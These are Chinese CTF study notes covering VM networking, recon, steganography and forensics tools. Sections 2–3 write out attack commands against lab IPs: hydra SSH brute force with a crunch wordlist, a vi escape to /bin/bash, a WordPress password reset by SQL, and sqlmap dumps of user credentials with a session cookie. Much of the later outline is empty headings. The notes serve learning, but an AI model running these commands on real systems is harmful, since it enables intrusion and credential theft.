CTF学习笔记

发布时间:2023年12月23日

笔记下载:https://download.csdn.net/download/qq_48257021/88650265

1.网卡连接模式

1.1桥接模式:(自由)

将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接,虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络(例如图中所示的局域网和Internet,下同)。简而言之,这就。好像在上图所示的局域网中添加了一台新的、独立的计算机一样,虚拟机也会占用局域网中的一个IP地址

1.2 nat模式:(关着,不隔绝)

VMware会在主机上建立单独的专用网络,用以在主机和虚拟机之间相互通信。虚拟机向外部网络发送的请求数据"包裹",都会交由NAT网络适配器加上"特殊标记"并以主机的名义转发出去,虚拟机在外部网络中不必具有自己的IP地址,外部网络终端也无法访问到虚拟机,

1.3 仅主机模式:(关小黑屋,隔绝外部)

仅主机模式的虚拟网络适配器仅对主机可见,在虚拟机和主机系统之间提供网络连接

2. nmap

信息收集端口扫描:nmap -sS -sV -p- -v -T4 192.168.43.200

扫描网站目录:dirb 百度一下,你就知道

发现目录:admin 访问,暴力破解密码和用户名

crunch :生成密码字典。man crunch 查看语法。

crunch 8 8 -t kill0r%@ -o dict.txt

最大长度8 最小长度8 :hydra -l guest -P dict.txt 192.168.133.145 ssh

暴力破解:用户名:guest 密码字典:dict.txt

echo $PATH : 查看自己能输入的命令在哪里

echo $PATH/* : 查看自己能用的命令

在vi 编辑器里强制调用bin/bash:vi 1.txt :? !/bin/bash

!在命令前面表示强制调用外部命令,在命令后面表示强制使用命令。

查找;sudo 目录

将当前环境变量变为有sudo的环境下。

查找 su 命令

cat etc/group :查看有什么组 (用户信息在 /etc/passwd中,组信息保存在/etc/group中,早期的Linux将密码以名码的形式保存在/etc/passwd中,而现在则多以暗码(也就是加密之后的形式)的形式保存在/etc/shadow)。

更改用户户名和密码:passwd 用户名

Linux useradd 命令 | 菜鸟教程

update wpuser set user_pass=md5(“123qwe”) where user_login=”lcy”;

下载脏牛到kali

3.ctf

netdiscover:ARP是将IP地址转化物理地址的网络协议。通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。

netdiscover -i(指定网卡) eth0 -r (选择扫描范围)192.168.43.200

sqlmap -u http://192.168.133.133/index.html?page=blog&title=Blog&id=2 --dbs -D ehks? --table -T user --colums -C user_name,user_pass --dump

--dbs?? :爆破数据库

-D ehks? :指定数据库ehks

--tables? ?:爆表

-T :指定表user

--colums :字段

-C :指定字段user_name user_pass

--dump :爆开数据库

如果提示缺少cookie:

在浏览器点击console ,输入document.cookie 就会出现cookie,再将cookie 贴进去

sqlmap -u “192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go”--cookie=”PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0” --dbs

一些有用的信息:

对security 数据库爆破:

sqlmap -u "192.168.43.200:81/bwapp/sqli_2.php?movie=1&action=go"? --cookie="PHPSESSID=90tuqnom6p3vrabo6ah0fpceg6; security_level=0" --dbs -D security --tables -T users --columns -C password,username --dump

ssh:远程登陆 ?:ssh 用户名@ip

sudo : Linux sudo命令 | 菜鸟教程

sudo su : 切换到root 用户模式

4.sudo语法

sudo -V
sudo -h
sudo -l
sudo -v
sudo -k
sudo -s
sudo -H
sudo [ -b ] [ -p prompt ] [ -u username/#uid] -s
sudo command

参数说明:

  • -V 显示版本编号
  • -h 会显示版本编号及指令的使用方式说明
  • -l 显示出自己(执行 sudo 的使用者)的权限
  • -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
  • -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
  • -b 将要执行的指令放在背景执行
  • -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
  • -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
  • -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root
  • command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

sudo实例

sudo命令使用

$ sudo ls
[sudo] password for hnlinux: 
hnlinux is not in the sudoers file. This incident will be reported.

指定用户执行命令

# sudo -u userb ls -l

5 .杂项

5.1文件头

txt : 没有

识别文件的后缀:file 文件名

或者用nodepad++打开,编码方式选择hex ,可以看到头编码是:ffd8ffe0,猜测是jpg文件

共享文件:sudo mount.cifs //192.168.43.200/gx ./gx -o user=Lenovo

5.2检查文件类型file

3.文件头残缺/错误

通常文件无法正常打开有两种情况,一种是文件头部残缺,另一种是文件头部字段错误。针对文件头部残缺的情况,使用winhex程序添加相应的文件头,针对头部字段错误,可以找一个相同类型的文件进行替换。

使用场景:文件头部残缺或文件头部字段错误无法打开正常文件。

格式:fle文件名

5.3分离文件

5.3.1 binwalk

分析文件 binwalk文件名

分离文件:binwalk -e 文件名

1.Binwalk工具

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。

同目录下生成一个形如文件名extracted的文件目录,目录中有分离后的文件。

用法:

分析文件:binwalk filename

分离文件:binwalk-e filename

5.3.2 foremost

foremost 文件名 -o 文件夹名

2.foremost

如binwalk.无法正确分离出文件,可以使foremost,将目标文件复剩到kali中,成功执行后,会在目标文件的文件目录下生成

我们设置的目录,目录中会按文件类型分离出文件,

用法:

foremost文件名-o输出目录名

5.3.3 dd

dd if=filename of=目标文件 bs=1 skip=23

3.dd

当文件自动分离出错或者因为其他原因无法自动分离时,可以使用dd实现文件手动分离。

格式:

dd if=源文件of=目标文件名bs=1 skip=开始分离的字节数

参数说明:

if=file

#输入文件名,缺省为标准输入。

of=file

#输出文件名,缺省为标准输出。

bs=bytes #同时设置读写块的大小为bytes,可代替ibs和obs。

skip=blocks #从输入文件开头跳过blocks个块后再开始复制。

5.4文件合并

5.4.1cat , copy /B

合并文件

1.Linux下的文件合并

使用场景:Iiux下,通常对文件名相似的文件要进行批量合并

格式:cat合并的文件>输出的文件

cat 1.txt 2.jpg > book

2.Windows下的文件合并

使用场景:windows下,通常要对文件名相似的文件进行批量合并

格式:copy /B合并的文件 输出的文件命令

完整性检测:

1.linux下计算文件

md5sum 文件名

2. windows下计算文件md5:

certutil-hashfile文件名md5

5.5图片文件隐写

5.5.1 exiftool(分析图片信息)

分析图片信息:exiftool 文件名

2.5.2 stegsolve,像素比较

图片文件隐写

3.Stegsolve

当两张jpg图片外观、大小、像素都基本相同时,可以考虑进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看能否得到有用的信总,StegSolve可以方便的进行这些操作。

使用场景:两张图片信息基本相同

1.打开第一张图片,点击analyse->Image combiner

2.在弹出的窗口中点击左右按钮选择处理方式,点击save保存有价值的结果。

5.5.3 zsteg(分析隐藏数据)

zsteg工具

detect stegano-hidden data in PNG BMP

Installation

root@kali:/gem install zsteg

检测LSB隐写

zsteg xxx.png

5.5.4wbstego4(解密)

?解密通过lsb加密的图片、txt 、bmp 、pdf

5.5.5 python脚本

python脚本来处理

将以下脚本放相kai中运行,将目标文件放在脚本同目录下,将脚本中的文件名修改为文件名,运行python即可

5.5.6 tweakpng,crc

如果不是crc错误,可能是高度错误:利用下面这个脚本,if crc32==” 0xcbdf8a”

然后更改高度和宽度应是:宽高16进制编码第二行,前8个字节,实在不知道宽高,就把高度自己估摸着调高。

5.5.7 bftools(解密)

Bftools decode braincopter filename1 –output? filename2

5.5.8 stegdetect(探测加密方式)

Stegdetect工具探测加密方式

Steqdetect.程序主要用于分PEG文件,因此仍teqdetect可以检到通JSteg、JPHide、OutGuess、Invisible Secrets,F5、appendX,Camouflage等这些隐写工具隐藏的信息。

stegdetect xxx.jpg

stegdetect-s敏感度xxx.jpgexi

5.5.9 outguess,f5(解密)

5.6压缩文件分析:

5.6.1伪加密

5.6.2 archpr(破解)

5.6.3 ziperor 破解

zip压缩包加密

5.7流量取证

5.7.1过滤命令:

5.7.2 wireshark流汇聚

5.7.3 wireshark 提取文件

文件分离:文件-> 导出 -> http ->save all

5.7.4 无线wifi

5.7.5 aircrack-ng(破解)

5.7.6 usb

导出usb流量:leftover capture分析 -> 应用为列

tshark 方式提取usb流量。

用python脚本提取。

usb 流量分析.

用python脚本分析。

将坐标导入txt文本

用gnuplot 工具把坐标画出

5.7.7 http

5.8密码学:

5.8.1 base64

5.8.2 url

5.8.3 unicode

5.8.4 js混淆

5.8.5 替换加密

string filename > a.txt 将文件中的可打印字符提取出

6.linux:网络地址配置:

apt-get

-install 联网安装

-remove 卸载

7.网络

7.1 分层模型

7.2 http请求报文

7.3 http响应报文

7.4 http协议解题

7.5 文件上传漏洞

文章来源:https://blog.csdn.net/qq_48257021/article/details/134976873
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。